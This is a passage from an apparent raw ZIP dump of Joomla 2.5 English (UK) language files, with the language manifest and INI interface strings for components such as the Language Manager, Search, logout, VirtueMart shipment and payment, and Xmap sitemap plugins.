plugin" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
        Inherited means that the permissions from global configuration and parent group will be used.
        Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
        Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
        2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\ΉO((language/en-GB/en-GB.xmlnuW+A English (United Kingdom) 2.5.28 2008-03-15 Joomla! Project admin@joomla.org www.joomla.org Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt en-GB administrator language en-GB.com_admin.ini en-GB.com_admin.sys.ini en-GB.com_banners.ini en-GB.com_banners.sys.ini en-GB.com_cache.ini en-GB.com_cache.sys.ini en-GB.com_categories.ini en-GB.com_categories.sys.ini en-GB.com_checkin.ini en-GB.com_checkin.sys.ini en-GB.com_config.ini en-GB.com_config.sys.ini en-GB.com_contact.ini en-GB.com_contact.sys.ini en-GB.com_content.ini en-GB.com_content.sys.ini en-GB.com_cpanel.ini en-GB.com_cpanel.sys.ini en-GB.com_finder.ini en-GB.com_finder.sys.ini en-GB.com_installer.ini en-GB.com_installer.sys.ini en-GB.com_joomlaupdate.ini en-GB.com_joomlaupdate.sys.ini en-GB.com_languages.ini en-GB.com_languages.sys.ini en-GB.com_login.ini en-GB.com_login.sys.ini en-GB.com_mailto.sys.ini en-GB.com_media.ini en-GB.com_media.sys.ini en-GB.com_menus.ini en-GB.com_menus.sys.ini en-GB.com_messages.ini en-GB.com_messages.sys.ini en-GB.com_modules.ini en-GB.com_modules.sys.ini en-GB.com_newsfeeds.ini en-GB.com_newsfeeds.sys.ini en-GB.com_plugins.ini en-GB.com_plugins.sys.ini en-GB.com_redirect.ini en-GB.com_redirect.sys.ini en-GB.com_search.ini en-GB.com_search.sys.ini en-GB.com_templates.ini en-GB.com_templates.sys.ini en-GB.com_users.ini en-GB.com_users.sys.ini en-GB.com_weblinks.ini en-GB.com_weblinks.sys.ini en-GB.com_wrapper.ini en-GB.com_wrapper.sys.ini en-GB.ini en-GB.lib_joomla.ini en-GB.localise.php en-GB.mod_custom.ini en-GB.mod_custom.sys.ini en-GB.mod_feed.ini en-GB.mod_feed.sys.ini en-GB.mod_latest.ini en-GB.mod_latest.sys.ini en-GB.mod_logged.ini en-GB.mod_logged.sys.ini en-GB.mod_login.ini en-GB.mod_login.sys.ini en-GB.mod_menu.ini en-GB.mod_menu.sys.ini en-GB.mod_multilangstatus.ini en-GB.mod_multilangstatus.sys.ini en-GB.mod_popular.ini en-GB.mod_popular.sys.ini en-GB.mod_quickicon.ini en-GB.mod_quickicon.sys.ini en-GB.mod_status.ini en-GB.mod_status.sys.ini en-GB.mod_submenu.ini en-GB.mod_submenu.sys.ini en-GB.mod_title.ini en-GB.mod_title.sys.ini en-GB.mod_toolbar.ini en-GB.mod_toolbar.sys.ini en-GB.mod_version.ini en-GB.mod_version.sys.ini en-GB.plg_authentication_gmail.ini en-GB.plg_authentication_gmail.sys.ini en-GB.plg_authentication_joomla.ini en-GB.plg_authentication_joomla.sys.ini en-GB.plg_authentication_ldap.ini en-GB.plg_authentication_ldap.sys.ini en-GB.plg_captcha_recaptcha.ini en-GB.plg_captcha_recaptcha.sys.ini en-GB.plg_content_emailcloak.ini en-GB.plg_content_emailcloak.sys.ini en-GB.plg_content_finder.ini en-GB.plg_content_finder.sys.ini en-GB.plg_content_geshi.ini en-GB.plg_content_geshi.sys.ini en-GB.plg_content_joomla.ini en-GB.plg_content_joomla.sys.ini en-GB.plg_content_loadmodule.ini en-GB.plg_content_loadmodule.sys.ini en-GB.plg_content_pagebreak.ini en-GB.plg_content_pagebreak.sys.ini en-GB.plg_content_pagenavigation.ini en-GB.plg_content_pagenavigation.sys.ini en-GB.plg_content_vote.ini en-GB.plg_content_vote.sys.ini en-GB.plg_editors_codemirror.ini en-GB.plg_editors_codemirror.sys.ini en-GB.plg_editors_none.ini en-GB.plg_editors_none.sys.ini en-GB.plg_editors_tinymce.ini en-GB.plg_editors_tinymce.sys.ini en-GB.plg_editors-xtd_article.ini en-GB.plg_editors-xtd_article.sys.ini en-GB.plg_editors-xtd_image.ini en-GB.plg_editors-xtd_image.sys.ini en-GB.plg_editors-xtd_pagebreak.ini en-GB.plg_editors-xtd_pagebreak.sys.ini en-GB.plg_editors-xtd_readmore.ini en-GB.plg_editors-xtd_readmore.sys.ini en-GB.plg_extension_joomla.ini en-GB.plg_extension_joomla.sys.ini en-GB.plg_finder_categories.ini en-GB.plg_finder_categories.sys.ini en-GB.plg_finder_contacts.ini en-GB.plg_finder_contacts.sys.ini en-GB.plg_finder_content.ini en-GB.plg_finder_content.sys.ini en-GB.plg_finder_newsfeeds.ini en-GB.plg_finder_newsfeeds.sys.ini en-GB.plg_finder_weblinks.ini en-GB.plg_finder_weblinks.sys.ini en-GB.plg_quickicon_eosnotify.ini en-GB.plg_quickicon_eosnotify.sys.ini en-GB.plg_quickicon_extensionupdate.ini en-GB.plg_quickicon_extensionupdate.sys.ini en-GB.plg_quickicon_joomlaupdate.ini en-GB.plg_quickicon_joomlaupdate.sys.ini en-GB.plg_search_categories.ini en-GB.plg_search_categories.sys.ini en-GB.plg_search_contacts.ini en-GB.plg_search_contacts.sys.ini en-GB.plg_search_content.ini en-GB.plg_search_content.sys.ini en-GB.plg_search_newsfeeds.ini en-GB.plg_search_newsfeeds.sys.ini en-GB.plg_search_weblinks.ini en-GB.plg_search_weblinks.sys.ini en-GB.plg_system_cache.ini en-GB.plg_system_cache.sys.ini en-GB.plg_system_debug.ini en-GB.plg_system_debug.sys.ini en-GB.plg_system_highlight.ini en-GB.plg_system_highlight.sys.ini en-GB.plg_system_languagecode.ini en-GB.plg_system_languagecode.sys.ini en-GB.plg_system_languagefilter.ini en-GB.plg_system_languagefilter.sys.ini en-GB.plg_system_log.ini en-GB.plg_system_log.sys.ini en-GB.plg_system_logout.ini en-GB.plg_system_logout.sys.ini en-GB.plg_system_p3p.ini en-GB.plg_system_p3p.sys.ini en-GB.plg_system_redirect.ini en-GB.plg_system_redirect.sys.ini en-GB.plg_system_remember.ini en-GB.plg_system_remember.sys.ini en-GB.plg_system_sef.ini en-GB.plg_system_sef.sys.ini en-GB.plg_user_contactcreator.ini en-GB.plg_user_contactcreator.sys.ini en-GB.plg_user_joomla.ini en-GB.plg_user_joomla.sys.ini en-GB.plg_user_profile.ini en-GB.plg_user_profile.sys.ini en-GB.tpl_bluestork.ini en-GB.tpl_bluestork.sys.ini en-GB.tpl_hathor.ini en-GB.tpl_hathor.sys.ini English (United Kingdom) en-GB 0 en_GB.utf8, en_GB.UTF-8, en_GB, eng_GB, en, english, english-uk, uk, gbr, britain, england, great britain, uk, united kingdom, united-kingdom 0 PK@y>\>_x*language/en-GB/en-GB.plg_system_logout.ininuW+A; @package Joomla ; @subpackage plgSystemLogout ; @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_SYSTEM_LOGOUT_XML_DESCRIPTION="The system logout plug-in enables Joomla to redirect the user to the home page if he chooses to logout while he is on a protected access page." PLG_SYSTEM_LOGOUT="System - Logout" PLG_SYSTEM_LOGOUT_REDIRECT="You have been redirected to the home page following logout" PK@y>\U'language/en-GB/en-GB.com_search.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_SEARCH="Search" COM_SEARCH_SEARCH_VIEW_DEFAULT_DESC="Display search results." COM_SEARCH_SEARCH_VIEW_DEFAULT_OPTION="Default" COM_SEARCH_SEARCH_VIEW_DEFAULT_TITLE="Search Form or Search Results" COM_SEARCH_XML_DESCRIPTION="Component for search functions" PK@y>\996language/en-GB/en-GB.plg_content_socialbuttons.sys.ininuW+A; @package Social Buttons ; @subpackage plg_socialbuttons ; @copyright Copyright (C) 2013 Elite Developers All rights reserved. ; @license GNU/GPL v3 http://www.gnu.org/licenses/gpl.html PLG_SOCIALBUTTONS_DESCRIPTIONS = "
        Social Buttons

         

        - Access Module: Extensions >> Plug-in Manager >> Social Buttons
        - Configure Parameters
        - Publish/Enable
        - Save.
        ]]>" PK@y>\̿8language/en-GB/en-GB.plg_vmshipment_weight_countries.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valerie Isaksen ; @package VMSHIPMENT ; @subpackage VirtueMart Shipment VMSHIPMENT_WEIGHT_COUNTRIES="Vm Shipment plugin Weight/Nb of products/Countries" VMSHIPMENT_WEIGHT_COUNTRIES_AMOUNT_CONDITION_WRONG="The amount condition is incorrect: the 'Minimum order amount' must be lower than 'Maximum order amount'" VMSHIPMENT_WEIGHT_COUNTRIES_COST="Shipment Cost" VMSHIPMENT_WEIGHT_COUNTRIES_COST_DESC="Shipment Cost to apply for all orders when the weight is between Lowest Weight and Highest Weight" VMSHIPMENT_WEIGHT_COUNTRIES_COUNTRIES="Countries" VMSHIPMENT_WEIGHT_COUNTRIES_COUNTRIES_DESC="Please select the countries for which this rate applies. If no country is selected, this rate will be applied for all country" VMSHIPMENT_WEIGHT_COUNTRIES_CURRENCY="Currency" VMSHIPMENT_WEIGHT_COUNTRIES_CURRENCY_DESC="Currency for the cost" VMSHIPMENT_WEIGHT_COUNTRIES_FREE_SHIPPING_AMOUNT="Minimum Amount for Free Shipment" VMSHIPMENT_WEIGHT_COUNTRIES_FREE_SHIPPING_AMOUNT_DESC="Minimum order amount for Free Shipment" VMSHIPMENT_WEIGHT_COUNTRIES_LOGOS="Logo" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_CONDITION_WRONG="The number of products condition is incorrect: the 'Minimum number of products' must be lower than 'Maximum number of products'" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_START="Minimum number of products" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_START_DESC="Minimum number of products" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_STOP="Maximum number of products" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_STOP_DESC="Maximum number of products" VMSHIPMENT_WEIGHT_COUNTRIES_NUMERIC="The '%s' must be numeric" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_START="Minimum order amount" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_START_DESC="Minimum order amount" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_STOP="Maximum order amount" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_STOP_DESC="Maximum order amount" VMSHIPMENT_WEIGHT_COUNTRIES_PACKAGE_FEE="Package Fee" VMSHIPMENT_WEIGHT_COUNTRIES_PACKAGE_FEE_DESC="Package Fee" VMSHIPMENT_WEIGHT_COUNTRIES_PLUGIN="Shipment based on the Weight, ZIP and Countries" VMSHIPMENT_WEIGHT_COUNTRIES_PLUGIN_DESC="Shipment based on the number of WEIGHT and countries" VMSHIPMENT_WEIGHT_COUNTRIES_SHIPPING_NAME="Shipment Name" VMSHIPMENT_WEIGHT_COUNTRIES_SHIPPING_NAME_DESC="Shipment Name displayed on the frontend" VMSHIPMENT_WEIGHT_COUNTRIES_TAX="Tax" VMSHIPMENT_WEIGHT_COUNTRIES_TAX_DESC="Tax to apply to the cost" VMSHIPMENT_WEIGHT_COUNTRIES_VALUE="Fee" ;VMSHIPMENT_WEIGHT_COUNTRIES_VIRTUEMART_DESCRIPTION="Shipment description" ;VMSHIPMENT_WEIGHT_COUNTRIES_VIRTUEMART_DESCRIPTION_DESC="Shipment description added to the shipment name and logo" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT="Order Weight" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_CONDITION_WRONG="The weight condition is incorrect: the 'Lowest Weight' must be lower than 'Highest Weight'" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_START="Lowest Weight" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_START_DESC="Please enter the Lowest Weight. If no value is entered for Lowest Weight, no Lowest Weight condition will be applied" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_STOP="Highest Weight" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_STOP_DESC="Please enter the Highest Weight. If no value is entered for Highest Weight, no Highest Weight condition will be applied" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_UNIT="Weight Unit" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_UNIT_DESC="The Weight Unit in which the Weight is given" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_START="ZIP range start" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_START_DESC="Please enter the ZIP range start. If no value is entered for ZIP range start and Zip range stop, no zip condition will be applied" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_STOP="ZIP range end" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_STOP_DESC="Please enter the ZIP range stop. If no value is entered for ZIP range start and Zip range stop, no zip condition will be applied" PK@y>\/~;language/en-GB/en-GB.plg_vmpayment_moneybookers_gir.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author ; @package VMPayment ; @subpackage VirtueMart payment Moneybookers VMPAYMENT_MONEYBOOKERS="Vm Payment plugin Moneybookers Giropay"PK@y>\7language/en-GB/en-GB.plg_vmpayment_authorizenet.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author ; @package VMPayment ; @subpackage VirtueMart payment Authorize.net VMPAYMENT_AUTHORIZENET="Vm Payment plugin Authorize.net"PK@y>\4 -language/en-GB/en-GB.plg_xmap_com_content.ininuW+AXMAP_CONTENT_PLUGIN_DESCRIPTION="Add support for articles and categories" XMAP_SETTING_EXPAND_CATEGORIES="Expand Categories" XMAP_SETTING_EXPAND_CATEGORIES_DESC="Set true if Xmap should include the articles within each category link" XMAP_SETTING_EXPAND_FEATURED="Expand Featured" XMAP_SETTING_EXPAND_FEATURED_DESC="Set true if Xmap should include the articles within each "Featured Articles" link (usually the frontpage menu item)" XMAP_SETTING_INCLUDE_ARCHIVED="Include Archived" XMAP_SETTING_INCLUDE_ARCHIVED_DESC="Select when should the archived articles be included in the sitemap" XMAP_SETTING_SHOW_UNAUTH_LINKS="Show Unauthorized Links" XMAP_SETTING_SHOW_UNAUTH_LINKS_DESC="If yes, will show links to content to registered content even if you are not logged in. The user will need to login to see the item in full." XMAP_SETTING_MAX_ART_CAT="Max. Articles per Category" XMAP_SETTING_MAX_ART_CAT_DESC="Maximum number of articles per category to include in the sitemap (0 for no limit)." XMAP_SETTING_MAX_ART_AGE="Max. Article's Age in days" XMAP_SETTING_MAX_ART_AGE_DESC="The maximun number of days that an article must have to be included in the sitemap. (0 for no limit)" XMAP_SETTING_CAT_PRIORITY="Category Priority" XMAP_SETTING_CAT_PRIORITY_DESC="Set the priority for the categories" XMAP_SETTING_CAT_CHANCE_FREQ="Category Change frequency" XMAP_SETTING_CAT_CHANCE_FREQ_DESC="Set the chage frequency for the categories" XMAP_SETTING_ART_PRIORITY="Article Priority" XMAP_SETTING_ART_PRIORITY_DESC="Set the priority for articles" XMAP_SETTING_ART_CHANCE_FREQ="Article Change frequency" XMAP_SETTING_ART_CHANCE_FREQ_DESC="Set the chage frequency for articles" XMAP_SETTING_ADD_PAGEBREAKS_LABEL="Add Pagebreak" XMAP_SETTING_ADD_PAGEBREAKS_DESC="If yes, will include the sub-pages of the article into the sitemap." XMAP_SETTING_ADD_IMAGES_LABEL="Add images?" XMAP_SETTING_ADD_IMAGES_DESC="If yes, will parse the content of the article searching for images to add them to the site map. Valid Only for XML site map (Search engines Sitemap) " XMAP_NEWS_FIELDSET_LABEL="Google News Sitemap Settings" XMAP_SETTING_NEWS_KEYWORDS_DESC="Which keywords should we use for Google News Sitemap?" XMAP_SETTING_NEWS_KEYWORDS_LABEL="Keywords" XMAP_SETTING_NEWS_KEYWORDS_METAKEYS="Article's Metakeys" XMAP_SETTING_NEWS_KEYWORDS_CATTITLE="Catetegory Title" XMAP_SETTING_NEWS_KEYWORDS_METAKEYS_CATTITLE="Article's Metakeys + Category Title" XMAP_SETTING_NEWS_KEYWORDS_NONE="None" ; Generic Extension settings strings COM_PLUGINS_BASIC_FIELDSET_LABEL="Basic Settings" COM_PLUGINS_XML_FIELDSET_LABEL="XML Sitemap Settings" COM_PLUGINS_NEWS_FIELDSET_LABEL="News Sitemap Settings" XMAP_OPTION_USE_PARENT_MENU="Use Parent Menu Settings" XMAP_OPTION_NEVER="Never" XMAP_OPTION_ALWAYS="Always" XMAP_OPTION_XML_ONLY="In XML Sitemap Only" XMAP_OPTION_HTML_ONLY="In HTML Sitemap Only" XMAP_OPTION_WEEKLY="Weekly" XMAP_OPTION_DAILY="Daily" XMAP_OPTION_MONTHLY="Monthly" XMAP_OPTION_YEARLY="Yearly" XMAP_OPTION_HOURLY="Hourly"PK@y>\#rr,language/en-GB/en-GB.mod_multilangstatus.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MULTILANGSTATUS="Multilanguage Status" MOD_MULTILANGSTATUS_XML_DESCRIPTION="This module shows the status of the multilanguage parameters."PK@y>\11&language/en-GB/en-GB.com_languages.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LANGUAGES="Language Manager" COM_LANGUAGES_CONFIGURATION="Language Manager Options" COM_LANGUAGES_ERR_DELETE="Select a language to delete" COM_LANGUAGES_ERR_NO_LANGUAGE_SELECTED="No Language Selected" COM_LANGUAGES_ERR_PUBLISH="Select a language to publish" COM_LANGUAGES_FIELD_DESCRIPTION_DESC="Enter here a description for the language" COM_LANGUAGES_FIELD_IMAGE_DESC="Prefix of the image file for this language when using the "_QQ_"Use image flags"_QQ_" Language Switcher basic option. Example: if 'en' is chosen, then the image shall be en.gif. Images and CSS for this module are in media/mod_languages/" COM_LANGUAGES_FIELD_IMAGE_LABEL="Image Prefix" COM_LANGUAGES_FIELD_LANG_TAG_DESC="Enter here the language tag – example: en-GB for English (UK). This should be the exact prefix used for the language installed or to be installed." COM_LANGUAGES_FIELD_LANG_TAG_LABEL="Language Tag" COM_LANGUAGES_INSTALL="Install Language" COM_LANGUAGES_OVERRIDE_FIELD_BOTH_LABEL="For both locations" COM_LANGUAGES_OVERRIDE_FIELD_BOTH_DESC="If this box is checked the override will be stored for both administrator (Backend) and site (Frontend). This is essential for creating language overrides for some plugins because their language files, while stored in backend, are also used in frontend (example: plg_content_vote).
        Please note that the two overrides will be completely independent from each other after storing them." COM_LANGUAGES_OVERRIDE_FIELD_CLIENT_LABEL="Location" COM_LANGUAGES_OVERRIDE_FIELD_CLIENT_DESC="Indicates whether the override is created for the site (Frontend) or administrator (Backend) client." COM_LANGUAGES_OVERRIDE_FIELD_FILE_LABEL="File" COM_LANGUAGES_OVERRIDE_FIELD_FILE_DESC="Language overrides are stored in a specific INI file (as it's the case for the original texts, too). Here you can see in which file the current override is stored." COM_LANGUAGES_OVERRIDE_FIELD_LANGUAGE_LABEL="Language" COM_LANGUAGES_OVERRIDE_FIELD_LANGUAGE_DESC="Language for which the constant is overridden." COM_LANGUAGES_OVERRIDE_FIELD_KEY_LABEL="Language Constant" COM_LANGUAGES_OVERRIDE_FIELD_KEY_DESC="The language constant of the string you want to override.
        Each language output text on your site is identified by a specific language constant which you have to use for creating an override of the text.
        If you don't know the corresponding constant you can search for text you want to change on the right. By clicking on the desired result the correct constant will automatically be inserted into the form." COM_LANGUAGES_OVERRIDE_FIELD_OVERRIDE_LABEL="Text" COM_LANGUAGES_OVERRIDE_FIELD_OVERRIDE_DESC="Here you can enter the text which you want to be displayed instead of the overridden one.
        Please note that there may be placeholders (e.g. %s, %d or %1$s) in the text which could be important (they will be replaced by other texts afore displaying), so you should leave them in there." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHSTRING_LABEL="Search Text" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHSTRING_DESC="Please enter the text to search for here. It may be in any of the language files." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_LABEL="Search for" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_DESC="Here you can select whether you want to search for constant names or the values (thus the actual texts)." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_CONSTANT="Constant" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_TEXT="Value" COM_LANGUAGES_FIELD_PUBLISHED_DESC="Whether this content language is published or not. If published, it will display as a choice in the Language Switcher module in frontend." COM_LANGUAGES_FIELD_LANG_CODE_DESC="This Language Code will be appended to the site URL. When SEF is enabled, one will get http://mysite.com/en/. If SEF is disabled the suffix &lang=en will be appended at the end of the URL. Note the Language Code must be unique among all the languages." COM_LANGUAGES_FIELD_LANG_CODE_LABEL="URL Language Code" COM_LANGUAGES_FIELD_SITE_NAME_DESC="Enter here a custom site name for this content language. If the site name is set to display, this custom site name will be used instead of the Global Configuration setting." COM_LANGUAGES_FIELD_SITE_NAME_LABEL="Custom Site Name" COM_LANGUAGES_FIELDSET_SITE_NAME_LABEL="Site Name" COM_LANGUAGES_FIELD_TITLE_DESC="The name of the language as it will appear in the lists" COM_LANGUAGES_FIELD_TITLE_NATIVE_DESC="Title in Native language" COM_LANGUAGES_FIELD_TITLE_NATIVE_LABEL="Title Native" COM_LANGUAGES_FILTER_CLIENT_LABEL="Filter Location:" COM_LANGUAGES_FTP_DESC="For setting Languages as default, Joomla! will most likely need your FTP account details. Please enter them in the form fields below." COM_LANGUAGES_FTP_TITLE="FTP Login Details" COM_LANGUAGES_HEADING_AUTHOR_EMAIL="Author Email" COM_LANGUAGES_HEADING_DEFAULT="Default" COM_LANGUAGES_HEADING_LANG_IMAGE="Image Prefix" COM_LANGUAGES_HEADING_LANGUAGE="Language" COM_LANGUAGES_HEADING_NUM="Num" COM_LANGUAGES_HEADING_TITLE_NATIVE="Native Title" COM_LANGUAGES_HOMEPAGE="Home" COM_LANGUAGES_MSG_DEFAULT_LANGUAGE_SAVED="Default Language Saved. This does not affect users that have chosen a specific language on their profile or on the login page.
        Warning! When using the multilanguage functionality (i.e. when the plugin System - Languagefilter is enabled) the Site Default Language has to also be a published Content language." COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR="Some of the contacts linked to the user %s are incorrect." COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR_TIP="Warning! A user/author should have only one contact to which is assigned language 'All' OR one contact for each published Content Language" COM_LANGUAGES_MULTILANGSTATUS_CONTENT_LANGUAGE_PUBLISHED="Published Content Languages" COM_LANGUAGES_MULTILANGSTATUS_ERROR_CONTENT_LANGUAGE="A Default Home page is assigned to the %s Content Language although a Site Language for this Content Language is not installed AND/OR the Content Language is not published." COM_LANGUAGES_MULTILANGSTATUS_HOMES_MISSING="This site is set as a multilanguage site. One or more of the Default Home pages for the published Content languages are missing although the Language Filter plugin is enabled OR/AND one or more Language Switcher modules are published" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED="Published Default Home pages" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_ALL="1 assigned to language 'All'" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_INCLUDING_ALL="Published Default Home pages (including 1 assigned to language "All")" COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_PUBLISHED="Published Language Switcher Modules" COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_UNPUBLISHED="This site is set as a multilanguage site, at least one Language Switcher module set to language "All" has to be published. Disregard this message if you do not use a language switcher module but direct links." COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER="Language Filter Plugin" COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER_DISABLED="This site is set as a multilanguage site. The Languagefilter plugin is not enabled although one or more Language Switcher modules OR/AND one or more specific Content language Default Home pages are published." COM_LANGUAGES_MULTILANGSTATUS_NONE="This site is not set as a multilanguage site." COM_LANGUAGES_MULTILANGSTATUS_SITE_LANG_PUBLISHED="Published Site Languages" COM_LANGUAGES_MULTILANGSTATUS_USELESS_HOMES="This site is not set as a multilanguage site.
        Note: at least one Default Home page is assigned to a Content Language. This will not break a monolanguage site but is useless." COM_LANGUAGES_N_ITEMS_DELETED="%d Content Languages successfully deleted" COM_LANGUAGES_N_ITEMS_DELETED_1="%d Content Language successfully deleted" COM_LANGUAGES_N_ITEMS_PUBLISHED="%d Content Languages successfully published" COM_LANGUAGES_N_ITEMS_PUBLISHED_1="%d Content Language successfully published" COM_LANGUAGES_N_ITEMS_TRASHED="%d Content Languages successfully trashed" COM_LANGUAGES_N_ITEMS_TRASHED_1="%d Content Language successfully trashed" COM_LANGUAGES_N_ITEMS_UNPUBLISHED="%d Content Languages successfully unpublished.
        Warning! When using the multilanguage functionality (i.e. when the plugin System - Languagefilter is enabled) the Site Default Language has to also be a published Content language." COM_LANGUAGES_N_ITEMS_UNPUBLISHED_1="%d Content Language successfully unpublished.
        Warning! When using the multilanguage functionality (i.e. when the plugin System - Languagefilter is enabled) the Site Default Language has to also be a published Content language." COM_LANGUAGES_NO_ITEM_SELECTED="No languages selected" COM_LANGUAGES_SAVE_SUCCESS="Content Language successfully saved" COM_LANGUAGES_SEARCH_IN_TITLE="Search in title" COM_LANGUAGES_SUBMENU_CONTENT="Content" COM_LANGUAGES_SUBMENU_INSTALLED_ADMINISTRATOR="Installed - Administrator" COM_LANGUAGES_SUBMENU_INSTALLED_SITE="Installed - Site" COM_LANGUAGES_SUBMENU_OVERRIDES="Overrides" COM_LANGUAGES_VIEW_INSTALLED_TITLE="Language Manager: Installed Languages" COM_LANGUAGES_VIEW_LANGUAGE_EDIT_EDIT_TITLE="Language Manager: Edit Content Language" COM_LANGUAGES_VIEW_LANGUAGE_EDIT_NEW_TITLE="Language Manager: New Content Language" COM_LANGUAGES_VIEW_LANGUAGES_TITLE="Language Manager: Content Languages" COM_LANGUAGES_VIEW_OVERRIDE_CLIENT_SITE="Site" COM_LANGUAGES_VIEW_OVERRIDE_CLIENT_ADMINISTRATOR="Administrator" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_TITLE="Language Manager: Edit Override" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_NEW_OVERRIDE_LEGEND="Create a New Override" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_EDIT_OVERRIDE_LEGEND="Edit this Override" COM_LANGUAGES_VIEW_OVERRIDE_LANGUAGE="%1$s [%2$s]" COM_LANGUAGES_VIEW_OVERRIDE_MORE_RESULTS="More Results" COM_LANGUAGES_VIEW_OVERRIDE_NO_RESULTS="No matching texts found" COM_LANGUAGES_VIEW_OVERRIDE_REFRESHING="Please wait while the cache is recreated." COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR="Error while performing an Ajax request" COM_LANGUAGES_VIEW_OVERRIDE_RESULTS_LEGEND="Search Results" COM_LANGUAGES_VIEW_OVERRIDE_SAVE_SUCCESS="Language Override was saved successfully." COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_BUTTON="Search" COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_LEGEND="Search text you want to change" COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_TIP="A language string is composed of two parts: a specific language constant and its value.
        For example, in the string:
             COM_CONTENT_READ_MORE="_QQ_"Read more: "_QQ_"
        'COM_CONTENT_READ_MORE' is the constant and 'Read more: ' is the value.
        You have to use the specific language constant in order to create an override of the value.
        Therefore, you can search for the constant or the value you want to change with the search field below.
        By clicking on the desired result the correct constant will automatically be inserted into the form." COM_LANGUAGES_VIEW_OVERRIDES_FILTER_SEARCH_DESC="Search constant or text." COM_LANGUAGES_VIEW_OVERRIDES_KEY="Constant" COM_LANGUAGES_VIEW_OVERRIDES_LANGUAGES_BOX_ITEM="%1$s - %2$s" COM_LANGUAGES_VIEW_OVERRIDES_N_ITEMS_DELETED="%d language overrides were successfully deleted" COM_LANGUAGES_VIEW_OVERRIDES_N_ITEMS_DELETED_1="%d language override was successfully deleted" COM_LANGUAGES_VIEW_OVERRIDES_NO_ITEM_SELECTED="You haven't selected any overrides" COM_LANGUAGES_VIEW_OVERRIDES_TEXT="Text" COM_LANGUAGES_VIEW_OVERRIDES_TITLE="Language Manager: Language Overrides" COM_LANGUAGES_XML_DESCRIPTION="Component for language management" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
        Inherited means that the permissions from global configuration and parent group will be used.
        Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
        Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
